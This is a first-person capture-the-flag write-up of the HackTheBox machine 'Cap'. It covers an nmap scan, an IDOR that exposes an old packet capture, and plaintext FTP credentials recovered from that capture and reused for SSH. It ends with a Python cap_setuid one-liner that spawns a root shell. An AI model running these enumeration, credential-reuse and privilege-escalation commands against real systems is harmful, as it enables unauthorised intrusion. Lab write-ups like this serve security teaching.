TARGET OS: LINUX | AUTHOR: LEANDROS
Cap is a fundamental Easy-rated Linux machine on HackTheBox that tests basic enumeration and operational security awareness. My intrusion began by identifying an Insecure Direct Object Reference (IDOR) on a network dashboard, which allowed me to download sensitive PCAP (Packet Capture) files. Analyzing the network traffic revealed plaintext FTP credentials. I reused those credentials to establish an SSH foothold. Finally, I escalated to root by leveraging a dangerous Linux Capability assigned to the Python binary. Here is my complete mission log.
I initiated the engagement with an Nmap TCP port scan to map the target's external attack surface.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p21,22,80 <IP>
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open http gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn
The scan revealed three open ports: FTP (21), SSH (22), and HTTP (80). Anonymous login was not permitted on the FTP server, so I turned my attention to the web application.
Navigating to port 80 presented a "Security Dashboard" that appeared to perform network packet captures.
Exploring the dashboard, I found a feature that allows users to download a `.pcap` file containing 5 seconds of network traffic. Looking at the URL structure, I noticed something interesting.
When I clicked to view the packet capture, the URL changed to http://<IP>/data/1. The number 1 is a direct object reference. Because the application lacks proper access controls, changing that number sequentially allows us to view packet captures generated by other users or processes in the past.
I changed the URL from /data/1 to /data/0. The server immediately served up an older network capture dashboard with a download link for 0.pcap.
I downloaded the file to my attacking machine and opened it using Wireshark to analyze the traffic.
No. Time Source Destination Protocol Length Info
...
43 3.123456 192.168.x.x 10.10.10.245 FTP 74 Request: USER nathan
46 3.124567 192.168.x.x 10.10.10.245 FTP 82 Request: PASS Buck3tH0le!03
48 3.125678 10.10.10.245 192.168.x.x FTP 90 Response: 230 Login successful.
By following the TCP stream of the FTP traffic in Wireshark, I uncovered a plaintext authentication sequence. FTP is an unencrypted protocol, meaning any credentials transmitted over it can be easily sniffed.
I had successfully recovered a valid username and password: nathan : Buck3tH0le!03.
With a set of valid credentials, my first thought was to check if the user reused their FTP password for their system account. I attempted to log in via SSH using Nathan's credentials.
ssh nathan@<IP>
nathan@10.10.10.245's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
Last login: Thu Sep 25 15:54:44 2025 from 10.10.16.90
nathan@cap:~$ whoami
nathan
Password reuse strikes again! I successfully authenticated to the machine as Nathan and retrieved the user.txt flag.
To escalate privileges, I downloaded the linpeas.sh script to the victim machine and executed it to hunt for misconfigurations. Alternatively, a quick manual check using the getcap utility yields the exact same finding.
getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
Linux capabilities provide a more granular way to assign privileges than the traditional SUID bit. Instead of giving a binary full root privileges, administrators can grant it specific powers.
Here, the /usr/bin/python3.8 binary has been granted the cap_setuid capability. This means Python is explicitly allowed to manipulate process UIDs. Because we have access to the Python binary, we can execute a script that tells the kernel to change our current UID to 0 (root) and then spawn a shell!
I executed a simple Python one-liner leveraging the os.setuid() function to elevate my process privileges, immediately followed by os.system() to drop me into a Bash shell.
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
root@cap:~# whoami
root
The Python executable successfully transitioned its UID to 0, granting me a root shell. I claimed the root.txt flag. System Compromised.